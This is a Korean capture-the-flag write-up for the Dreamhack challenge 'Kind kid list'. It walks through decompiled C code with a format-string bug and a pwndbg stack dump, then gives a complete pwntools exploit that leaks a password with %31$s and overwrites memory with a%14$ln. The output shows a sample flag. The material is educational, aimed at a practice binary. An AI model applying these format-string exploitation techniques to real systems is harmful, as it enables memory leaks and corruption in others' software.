dreamhack - Kind kid list writeup
[dreamhack] Kind kid list writeup
1. 문제

일기를 거짓으로 쓴 것을 산타할아버지가 알게되었어요...
그래서 나쁜 아이 목록에 제 이름을 쓰셨어요...
제 이름을 지워주실 수 있나요? 😈
취약점을 찾아 flag를 획득하세요.
플래그 형식은 DH{…} 입니다.
2. 풀이
int intro()
{
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 99; ++i )
puts(&byte_2072);
puts("Wyv3rn : Hey, Hacker.");
puts("Wyv3rn : Santa recognized that I was cheating on my diary before.");
puts("Wyv3rn : Then, he list up my name on naughty kid list.");
puts("Wyv3rn : Can you delete my name from naughty kid list and add to the kind kid list?\n");
return puts("Wyv3rn : I will give you the flag, if you succeed\n");
}
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
char *v4; // rdi
__int64 v5; // rdx
__int64 v6; // rcx
__int64 v7; // r8
__int64 v8; // r9
const char *v9; // rsi
__int64 v10; // rdx
__int64 v11; // rcx
__int64 v12; // r8
__int64 v13; // r9
char pass_input[8]; // [rsp+0h] [rbp-E0h] BYREF
__int64 v15; // [rsp+8h] [rbp-D8h]
char new_name[8]; // [rsp+10h] [rbp-D0h] BYREF
__int64 v17; // [rsp+18h] [rbp-C8h]
char bad_kid[8]; // [rsp+20h] [rbp-C0h] BYREF
__int64 v19; // [rsp+28h] [rbp-B8h]
char kind_kid[132]; // [rsp+30h] [rbp-B0h] BYREF
char src[8]; // [rsp+B4h] [rbp-2Ch] BYREF
int select; // [rsp+BCh] [rbp-24h] BYREF
FILE *stream; // [rsp+C0h] [rbp-20h]
void *ptr; // [rsp+C8h] [rbp-18h]
int v25; // [rsp+D4h] [rbp-Ch]
int v26; // [rsp+D8h] [rbp-8h]
int i; // [rsp+DCh] [rbp-4h]
init(argc, argv, envp);
intro();
i = 0;
v25 = 0;
select = 0;
v26 = 0;
*(_QWORD *)src = 'nr3vyw';
memset(kind_kid, 0, 0x80uLL);
*(_QWORD *)bad_kid = 0LL;
v19 = 0LL;
*(_QWORD *)new_name = 0LL;
v17 = 0LL;
*(_QWORD *)pass_input = 0LL;
v15 = 0LL;
ptr = malloc(8uLL);
stream = fopen("/dev/urandom", "r");
fread(ptr, 7uLL, 1uLL, stream);
v3 = src;
v4 = bad_kid;
strcpy(bad_kid, src);
while ( 1 )
{
menu(v4, v3, v5, v6, v7, v8);
fflush(stdout);
v3 = (char *)&select;
v4 = "%d";
__isoc99_scanf("%d", &select);
if ( select == 3 )
break;
if ( select <= 3 )
{
if ( select == 1 )
{
puts("\n-Kind kid list-");
for ( i = 0; i <= 5; ++i )
puts(&kind_kid[16 * i]);
puts("\n-Naughty kid list-");
for ( i = 0; i <= 7; ++i )
putchar(bad_kid[i]);
v4 = (char *)&byte_2072;
puts(&byte_2072);
}
else if ( select == 2 )
{
printf("\nPassword : ");
fflush(stdout);
__isoc99_scanf("%8s", pass_input);
v3 = pass_input;
if ( !strncmp((const char *)ptr, pass_input, 7uLL) )
{
printf("Name : ");
fflush(stdout);
v3 = new_name;
__isoc99_scanf("%8s", new_name);
if ( v26 > 7 )
{
v4 = "Kind list full";
puts("Kind list full");
}
else
{
v3 = new_name;
v4 = &kind_kid[16 * v26];
strcpy(v4, new_name);
++v26;
}
}
else
{
printf(pass_input);
v4 = " is Wrong password!";
puts(" is Wrong password!");
}
}
}
}
v25 = 0;
v9 = "wyv3rn";
if ( !strcmp(kind_kid, "wyv3rn") )
{
for ( i = 0; i <= 5; ++i )
{
v9 = &src[i];
if ( !strcmp(&bad_kid[i], v9) )
{
puts("Wyv3rn : My name is still remain on the naughty kid list!");
exit(0);
}
}
puts("\nWyv3rn : You did it!");
puts("Wyv3rn : Here is flag!");
flag("Wyv3rn : Here is flag!", v9, v10, v11, v12, v13);
exit(0);
}
puts("Wyv3rn : My name is not on the kind kid list!");
exit(0);
}
간단하게 1번은 Kind kid list와 Naughty kid list를 확인하고, 2번은 Password를 입력한 후 kind list에 이름을 넣을 수 있다. 그리고 3번을 통해서 wyv3rn에게 가서 flag를 달라고 할 수 있다.
결국 지금 Naughty kid list에 들어있는 wyv3rn 이름을 지우고 Kind kid list에 넣으면 된다.
우선 아래 코드에서 FSB
취약점이 터진다.
else
{
printf(pass_input);
v4 = " is Wrong password!";
puts(" is Wrong password!");
}
이 pass_input
이 printf
함수의 인자로 바로 입력되기 때문에 FSB
취약점을 이용해서 실제 Password
를 확인할 수 있다.
pass_input
기준으로 31번째 위치에 Password
가 위치한 것을 볼 수 있다.
pwndbg> x/40gx 0x7ffc7cb19450
0x7ffc7cb19450: 0x003bf716cd007025 0x0000000000000000
0x7ffc7cb19460: 0x00006e7233767977 0x0000000000000000
0x7ffc7cb19470: 0x00006e7233767977 0x0000000000000000
0x7ffc7cb19480: 0x00006e7233767977 0x0000000000000000
0x7ffc7cb19490: 0x0000000000000000 0x0000000000000000
0x7ffc7cb194a0: 0x0000000000000000 0x0000000000000000
0x7ffc7cb194b0: 0x0000000000000000 0x0000000000000000
0x7ffc7cb194c0: 0x0000000000000000 0x0000000000000000
0x7ffc7cb194d0: 0x0000000000000000 0x0000000000000000
0x7ffc7cb194e0: 0x0000000000000000 0x0000000000000000
0x7ffc7cb194f0: 0x0000000000000000 0x0000000000000000
0x7ffc7cb19500: 0x3376797700000002 0x0000000200006e72
0x7ffc7cb19510: 0x000060abe8d6d2c0 0x000060abe8d6d2a0
0x7ffc7cb19520: 0x0000000000001000 0x0000000000000001
0x7ffc7cb19530: 0x0000000000000001 0x000072bc46429d90
0x7ffc7cb19540: 0x0000000000000000 0x000060abd8d6c3ce
0x7ffc7cb19550: 0x000000017cb19630 0x00007ffc7cb19648
0x7ffc7cb19560: 0x0000000000000000 0xaefe0358fe465f38
0x7ffc7cb19570: 0x00007ffc7cb19648 0x000060abd8d6c3ce
0x7ffc7cb19580: 0x000060abd8d6edd8 0x000072bc466e4040
pwndbg> x/10gx 0x000060abe8d6d2a0
0x60abe8d6d2a0: 0x003bf716cdf27853 0x0000000000000000
0x60abe8d6d2b0: 0x0000000000000000 0x00000000000001e1
문제는 이 Password
가 존재하는 주소값만 들어있다는 것이고, 나는 %p
또는 %x
를 통해서만 FSB
를 풀어왔던 사람이라 이 주소에 들어있는 문자열을 어떻게 출력할지는 몰랐는데 그냥 %s
를 쓰면 출력이되는 거였다…
즉, %31$p
를 넣으면 스택의 31번째 인자를 그대로 출력하는 것이고, %31$s
를 하면 그 31번째 인자를 주소값으로 해서 해당 주소에 있는 문자열을 출력하게 된다.
이를 이용하면 위처럼 Password
를 leak이 가능하다.
그러면 이제 Kind kid list에 wyv3rn의 이름을 넣는 것 자체는 가능한데, 문제는 Naughty kid list에 들어가있는 이름을 지워야 한다.
여기서 다시한번 FSB
를 이용할 수 있다. 먼저 bad_kid
의 주소를 구해서 new_name
을 입력할 때 넣는다. 그러면 new_name
에 bad_kid
의 주소가 들어가게 된다.
bad_kid
의 주소를 구하는 방법은 여러가지인데 나는 그냥 %p
를 입력했더니 스택 주소 중 하나가 바로 나와서 그걸 기준으로 찾았다.
이때 new_name
은 스택 인자 기준 8번째 인자이기 때문에 a%8ln
을 입력하게 되면 new_name
에 들어가있는 bad_kid
주소가 가리키는 위치에 1을 입력할 수 있다. (a 하나만 입력되고 이것의 개수를 long
형식으로 넣는 것이기 때문)
new_name
에 들어갔던 bad_kid
주소는 kind_kid[1]
위치에도 들어가기 때문에 a%14ln
을 입력해도 된다.
그러면 bad_kid
에 적힌 이름이 없어지기 때문에 flag를 얻을 수 있다.
from pwn import *
p = process("./kind_kid_list")
#p = remote("host8.dreamhack.games", 12110)
# 1. get password
p.sendlineafter(b">> ", b"2")
p.sendlineafter(b": ", b"%31$s")
password = p.recvuntil(b"is")[:-3]
# 2. enter password and leak stack addr
p.sendlineafter(b">> ", b"2")
p.sendlineafter(b"Password : ", password)
p.sendlineafter(b"Name : ", b"wyv3rn")
p.sendlineafter(b">> ", b"2")
p.sendlineafter(b": ", b"%p")
stack_addr = int(p.recvuntil(b"is")[:-3], 16) + 0x20 # this is bad_kid addr
print(hex(stack_addr))
# 3. put bad_kid addr into new_name & kind_kid[1]
# this can be used as fsb argument
p.sendlineafter(b">> ", b"2")
p.sendlineafter(b"Password : ", password)
p.sendlineafter(b"Name : ", p64(stack_addr))
# 4. new_name is 8th argument of fsb and kind_kid[1] is 14th.
# so overwrite the address that new_name or kind_kid[1] indicates (bad_kid) by the number of chars printed
# in this case, it is "1" because "a%8$ln" ("a%14$ln").
p.sendlineafter(b">> ", b"2")
p.sendlineafter(b"Password : ", b"a%14$ln")
p.sendlineafter(b">> ", b"3")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/Kind_kid_list/deploy$ python3 e_kind_kid_list.py
[+] Starting local process './kind_kid_list': pid 3246845
0x7ffd7b4f3fc0
[*] Switching to interactive mode
[*] Process './kind_kid_list' stopped with exit code 0 (pid 3246845)
Wyv3rn : You did it!
Wyv3rn : Here is flag!
DH{sample_flag}
[*] Got EOF while reading in interactive
진짜 오랜만에 본 FSB 문제였고, $s
를 쓰거나 특정 주소를 스택에 만들어서 덮어쓰는 방식이 아닌 새로운 방식이라 나에겐 너무 어려웠다…
아무튼 해결~